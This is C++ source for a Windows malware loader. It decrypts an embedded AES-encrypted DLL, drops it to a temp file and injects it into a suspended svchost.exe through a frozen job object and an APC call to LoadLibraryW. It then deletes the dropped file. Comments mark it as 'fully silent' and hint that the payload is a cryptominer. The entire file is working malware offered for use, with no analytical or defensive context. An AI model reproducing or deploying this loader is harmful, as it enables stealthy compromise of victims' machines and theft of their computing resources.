// Windows-only AES-decrypting DLL injector
#include <windows.h>
#include <winternl.h>
#include <wincrypt.h>
#include <iostream>
#include <vector>
#include <string>
#include <cstring>
#include <cstdint>

// Include encrypted DLL payload data
#include "dll_payload_data.h"

// Read encrypted DLL payload data from files

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define JobObjectFreezeInformation 18

typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;

typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID);
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* pSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG);
typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES);

std::vector<uint8_t> readFile(const std::string& filename) {
    HANDLE hFile = CreateFileA(filename.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        return std::vector<uint8_t>();
    }
    DWORD fileSize = GetFileSize(hFile, NULL);
    std::vector<uint8_t> data(fileSize);
    DWORD bytesRead;
    ReadFile(hFile, data.data(), fileSize, &bytesRead, NULL);
    CloseHandle(hFile);
    return data;
}

HMODULE hNtDll = GetModuleHandleA("ntdll.dll");

pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread");
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx");
pSetInformationJobObject NtSetInformationJobObject = (pSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject");
pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject");

typedef struct _JOBOBJECT_FREEZE_INFORMATION {
    union { ULONG Flags; struct { ULONG FreezeOperation : 1; ULONG FilterOperation : 1; ULONG SwapOperation : 1; ULONG Reserved : 29; }; };
    BOOLEAN Freeze;
    BOOLEAN Swap;
    UCHAR Reserved0[2];
    struct { ULONG HighEdgeFilter; ULONG LowEdgeFilter; } WakeFilter;
} JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION;

// AES-CBC Decryption class for Windows
class AESDecryptor {
private:
    std::vector<uint8_t> key;

    bool deriveKey(const std::string& password, const std::vector<uint8_t>& salt) {
        HCRYPTPROV hProv = 0;
        HCRYPTHASH hHash = 0;

        if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
            return false;
        }

        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
            CryptReleaseContext(hProv, 0);
            return false;
        }

        // Hash password
        if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) {
            CryptDestroyHash(hHash);
            CryptReleaseContext(hProv, 0);
            return false;
        }

        // Hash salt
        if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) {
            CryptDestroyHash(hHash);
            CryptReleaseContext(hProv, 0);
            return false;
        }

        DWORD hashLen = 32;
        std::vector<uint8_t> hash(hashLen);
        if (!CryptGetHashParam(hHash, HP_HASHVAL, hash.data(), &hashLen, 0)) {
            CryptDestroyHash(hHash);
            CryptReleaseContext(hProv, 0);
            return false;
        }

        CryptDestroyHash(hHash);
        CryptReleaseContext(hProv, 0);

        // Use first 16 bytes for AES-128
        key.assign(hash.begin(), hash.begin() + 16);
        return true;
    }

public:
    std::vector<uint8_t> decrypt(const std::vector<uint8_t>& ciphertext,
                               const std::vector<uint8_t>& iv,
                               const std::vector<uint8_t>& salt,
                               const std::string& password) {
        if (!deriveKey(password, salt)) {
            return std::vector<uint8_t>();
        }

        // Use CryptDeriveKey for decryption
        HCRYPTPROV hProv = 0;
        HCRYPTHASH hHash = 0;
        HCRYPTKEY hKey = 0;

        if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
            return std::vector<uint8_t>();
        }

        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
            CryptReleaseContext(hProv, 0);
            return std::vector<uint8_t>();
        }

        // Hash password
        if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) {
            CryptDestroyHash(hHash);
            CryptReleaseContext(hProv, 0);
            return std::vector<uint8_t>();
        }

        // Hash salt
        if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) {
            CryptDestroyHash(hHash);
            CryptReleaseContext(hProv, 0);
            return std::vector<uint8_t>();
        }

        if (!CryptDeriveKey(hProv, CALG_AES_128, hHash, 0, &hKey)) {
            CryptDestroyHash(hHash);
            CryptReleaseContext(hProv, 0);
            return std::vector<uint8_t>();
        }

        CryptDestroyHash(hHash);

        DWORD mode = CRYPT_MODE_CBC;
        if (!CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0)) {
            CryptDestroyKey(hKey);
            CryptReleaseContext(hProv, 0);
            return std::vector<uint8_t>();
        }

        if (!CryptSetKeyParam(hKey, KP_IV, (BYTE*)iv.data(), 0)) {
            CryptDestroyKey(hKey);
            CryptReleaseContext(hProv, 0);
            return std::vector<uint8_t>();
        }

        std::vector<uint8_t> plaintext(ciphertext.size());
        DWORD dataLen = ciphertext.size();
        memcpy(plaintext.data(), ciphertext.data(), dataLen);

        if (!CryptDecrypt(hKey, 0, TRUE, 0, plaintext.data(), &dataLen)) {
            CryptDestroyKey(hKey);
            CryptReleaseContext(hProv, 0);
            return std::vector<uint8_t>();
        }

        plaintext.resize(dataLen);

        CryptDestroyKey(hKey);
        CryptReleaseContext(hProv, 0);

        return plaintext;
    }
};

// Embedded encrypted payload (generated by crypt tool)
// Embedded encrypted payload (generated by crypt tool)
// Data is included via header files

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
    // FULLY SILENT — no console

    // Read the embedded encrypted payload
    std::vector<uint8_t> data(encrypted_Input_bin, encrypted_Input_bin + sizeof(encrypted_Input_bin));
    if (data.size() < 52) {
        return 1; // Invalid data
    }
    std::vector<uint8_t> salt(data.begin(), data.begin() + 32);
    std::vector<uint8_t> iv(data.begin() + 32, data.begin() + 48);
    uint32_t ciphertext_len = *reinterpret_cast<uint32_t*>(&data[48]);
    std::vector<uint8_t> ciphertext(data.begin() + 52, data.begin() + 52 + ciphertext_len);

    // Verify size
    if (ciphertext.size() != ciphertext_len) {
        return 1; // Invalid size
    }

    // Decrypt using hardcoded password (change this!)
    AESDecryptor decryptor;
    std::string password = "YourSecureMasterPassword123!";
    std::vector<uint8_t> decrypted_dll = decryptor.decrypt(ciphertext, iv, salt, password);

    // Create temp file for the DLL
    WCHAR tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    WCHAR tempFile[MAX_PATH];
    GetTempFileNameW(tempPath, L"DLL", 0, tempFile);

    HANDLE hFile = CreateFileW(tempFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        DWORD bytesWritten;
        WriteFile(hFile, decrypted_dll.data(), decrypted_dll.size(), &bytesWritten, NULL);
        CloseHandle(hFile);
    }

    const wchar_t* dllPath = tempFile;
    SIZE_T dllPathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);
    SIZE_T regionSize = dllPathLen;

    HANDLE hJob = NULL;
    NtCreateJobObject(&hJob, MAXIMUM_ALLOWED, NULL);

    JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
    freezeInfo.FreezeOperation = 1;
    freezeInfo.Freeze = TRUE;
    NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));

    STARTUPINFOEXW siEx = { sizeof(siEx) };
    SIZE_T attrListSize = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
    siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize);
    InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize);
    UpdateProcThreadAttribute(siEx.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_JOB_LIST, &hJob, sizeof(HANDLE), NULL, NULL);

    PROCESS_INFORMATION pi = { 0 };
    CreateProcessW(
        L"C:\\Windows\\System32\\svchost.exe",  // or dllhost.exe / notepad.exe
        NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
        NULL, NULL, (STARTUPINFOW*)&siEx, &pi
    );

    DeleteProcThreadAttributeList(siEx.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);

    PVOID remoteMemory = NULL;
    NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0);
    NtWriteVirtualMemory(pi.hProcess, remoteMemory, (PVOID)dllPath, dllPathLen, NULL);

    FARPROC loadLibAddr = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
    NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL);

    // INSTANT UNFREEZE — no user input
    freezeInfo.Freeze = FALSE;
    NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));

    ResumeThread(pi.hThread);  // optional: resume main thread (not needed for mining)

    // Wait a bit for injection, then delete the temp file
    Sleep(1000);
    DeleteFileW(tempFile);

    CloseHandle(hJob);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return 0;
}
